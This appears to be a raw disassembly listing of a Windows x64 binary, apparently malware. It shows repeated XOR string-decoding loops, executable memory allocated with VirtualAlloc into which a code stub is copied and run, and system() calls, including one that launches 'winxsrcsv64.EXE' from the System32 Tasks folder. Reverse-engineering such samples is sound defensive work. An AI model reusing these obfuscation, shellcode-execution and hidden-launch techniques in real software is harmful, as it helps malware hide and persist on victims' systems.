movups xmm0, xmmword [0x1400ca660]
movups xmm1, xmmword [0x1400ca670]
movups xmmword [rbp + 0x160], xmm0
movsd xmm0, qword [0x1400ca680]
movsd qword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x170], xmm1
cmp esi, 2
jl 0x140040ebf
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x160]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140040db0
cmp r8d, 0x2f
jge 0x140040f04
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140040ed0
mov r8, r10
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xbc8]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140040f24
mov rax, qword [rax]
mov qword [rbp + 0x6f0], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140040f79
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140040f66
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140040f50
jmp 0x140040f79
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140041067
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040fa0
mov r8, r12
jmp 0x14004103f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040fb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x6f0]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0xbe0]
cmp rdx, 0xf
jbe 0x1400410b8
mov rcx, qword [rbp + 0xbc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400410b3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x4b8]
mov qword [rbp + 0xbd8], r12
mov qword [rbp + 0xbe0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xbc8], 0
cmp rdx, 0xf
jbe 0x14004115d
mov rcx, qword [rbp + 0x4a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004110d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x420]
mov qword [rbp + 0x4b0], r12
mov qword [rbp + 0x4b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4a0], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca878]
mov dword [rbp + 0x1b8], eax
movzx eax, word [0x1400ca87c]
mov word [rbp + 0x1bc], ax
jmp 0x1400411a6
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x420]
mov qword [rbp + 0x4b0], r12
mov qword [rbp + 0x4b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4a0], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca878]
mov r10, rax
mov dword [rbp + 0x1b8], ecx
movzx ecx, word [0x1400ca87c]
mov word [rbp + 0x1bc], cx
movzx eax, byte [0x1400ca87e]
mov r8d, r12d
mov byte [rbp + 0x1be], al
movups xmm0, xmmword [0x1400ca850]
movups xmm1, xmmword [0x1400ca860]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x1400ca870]
movsd qword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1a0], xmm1
cmp esi, 2
jl 0x14004132f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x190]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140041220
cmp r8d, 0x2f
jge 0x140041374
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140041340
mov r8, r10
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x818]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140041394
mov rax, qword [rax]
mov qword [rbp + 0x790], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x1400413e9
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x1400413d6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x1400413c0
jmp 0x1400413e9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x1400414d7
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041410
mov r8, r12
jmp 0x1400414af
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140041420
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x790]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x830]
cmp rdx, 0xf
jbe 0x140041528
mov rcx, qword [rbp + 0x818]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041523
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x438]
mov qword [rbp + 0x828], r12
mov qword [rbp + 0x830], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x818], 0
cmp rdx, 0xf
jbe 0x1400415cd
mov rcx, qword [rbp + 0x420]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004157d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x7a8]
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x420], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca938]
mov dword [rbp + 0x1e8], eax
movzx eax, word [0x1400ca93c]
mov word [rbp + 0x1ec], ax
jmp 0x140041616
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x7a8]
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x420], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca938]
mov r10, rax
mov dword [rbp + 0x1e8], ecx
movzx ecx, word [0x1400ca93c]
mov word [rbp + 0x1ec], cx
movzx eax, byte [0x1400ca93e]
mov r8d, r12d
mov byte [rbp + 0x1ee], al
movups xmm0, xmmword [0x1400ca910]
movups xmm1, xmmword [0x1400ca920]
movups xmmword [rbp + 0x1c0], xmm0
movsd xmm0, qword [0x1400ca930]
movsd qword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1d0], xmm1
cmp esi, 2
jl 0x14004179f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x1c0]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140041690
cmp r8d, 0x2f
jge 0x1400417e4
movsxd rax, r8d
lea r9, [rbp + 0x1c0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x1400417b0
mov r8, r10
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x838]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140041804
mov rax, qword [rax]
mov qword [rbp + 0x788], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140041859
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140041846
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140041830
jmp 0x140041859
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140041947
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041880
mov r8, r12
jmp 0x14004191f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140041890
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x788]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x850]
cmp rdx, 0xf
jbe 0x140041998
mov rcx, qword [rbp + 0x838]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041993
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x7c0]
mov qword [rbp + 0x848], r12
mov qword [rbp + 0x850], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x838], 0
cmp rdx, 0xf
jbe 0x1400419f2
mov rcx, qword [rbp + 0x7a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400419ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO
mov qword [rbp + 0x7b8], r12
mov qword [rbp + 0x7c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7a8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x6b0]
call fcn.14003c7b0
mov ecx, dword [0x1400ca8a8]
mov r10, rax
movzx eax, byte [0x1400ca8ae]
mov r8d, r12d
mov dword [rbp + 0x810], ecx
movzx ecx, word [0x1400ca8ac]
mov word [rbp + 0x814], cx
mov byte [rbp + 0x816], al
movups xmm0, xmmword [0x1400ca880]
movups xmm1, xmmword [0x1400ca890]
movups xmmword [rbp + 0x7e8], xmm0
movsd xmm0, qword [0x1400ca8a0]
movsd qword [rbp + 0x808], xmm0
movups xmmword [rbp + 0x7f8], xmm1
cmp esi, 2
jl 0x140041bcf
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x7e8]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cae10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140041ac0
cmp r8d, 0x2f
jge 0x140041c14
movsxd rax, r8d
lea r9, [rbp + 0x7e8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x140041be0
mov r8, r10
lea rdx, [rbp + 0x7e8]
lea rcx, [rbp + 0x858]
call fcn.140048200
cmp qword [rax + 0x18], 0xf
jbe 0x140041c34
mov rax, qword [rax]
mov qword [rbp + 0x780], rax
lea r14, [rbp + 0x1448]
mov rax, qword [0x14017a790]
mov ecx, r12d
mov rdi, qword [r14]
mov qword [r14], r12
test rax, rax
je 0x140041c89
lea rdx, [0x140048330]
nop
cmp rax, rdx
je 0x140041c76
inc ecx
mov rax, qword [r13 + rcx*8 + 0x17a790]
test rax, rax
jne 0x140041c60
jmp 0x140041c89
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x17a460]
test r8, r8
jne 0x140041d77
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140041cb0
mov r8, r12
jmp 0x140041d4f
lea rax, [0x140048330]
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140041cc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017a458]
lea rcx, [0x140048330]
mov qword [r13 + rax*8 + 0x17a790], rcx
mov qword [r13 + rax*8 + 0x17a460], r8
inc rax
mov qword [0x14017a458], rax
lea rdx, [rbp + 0x780]
mov rcx, rbx
call r8
mov qword [r14], rdi
mov rdx, qword [rbp + 0x870]
cmp rdx, 0xf
jbe 0x140041dc8
mov rcx, qword [rbp + 0x858]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041dc3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
mov rdx, qword [rbp + 0x6c8]
mov qword [rbp + 0x868], r12
mov qword [rbp + 0x870], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x858], 0
cmp rdx, 0xf
jbe 0x140041e6d
mov rcx, qword [rbp + 0x6b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041e1d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046457
call fcn.1400b04ac
lea rcx, [rbp + 0x400]
mov qword [rbp + 0x6c0], r12
mov qword [rbp + 0x6c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6b0], 0
call fcn.14003c7b0
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, rax
mov eax, dword [0x1400ca8d8]
mov dword [rbp + 0x218], eax
movzx eax, word [0x1400ca8dc]
mov word [rbp + 0x21c], ax
jmp 0x140041eb6
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x400]
mov qword [rbp + 0x6c0], r12
mov qword [rbp + 0x6c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6b0], 0
call fcn.14003c7b0
mov ecx, dword [0x1400ca8d8]
mov r10, rax
mov dword [rbp + 0x218], ecx
movzx ecx, word [0x1400ca8dc]
mov word [rbp + 0x21c], cx
movzx eax, byte [0x1400ca8de]
mov r8d, r12d
mov byte [rbp + 0x21e], al
movups xmm0, xmmword [0x1400ca8b0]
movups xmm1, xmmword [0x1400ca8c0]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm0, qword [0x1400ca8d0]
movsd qword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x200], xmm1
cmp esi, 2
jl 0x14004203f
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x1f0]
movdqa xmm5, xmmword [0x1400cada0]
movdqa xmm4, xmmword [0x1400cae80]
movdqa xmm6, xmmword [0x1400cadd0]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
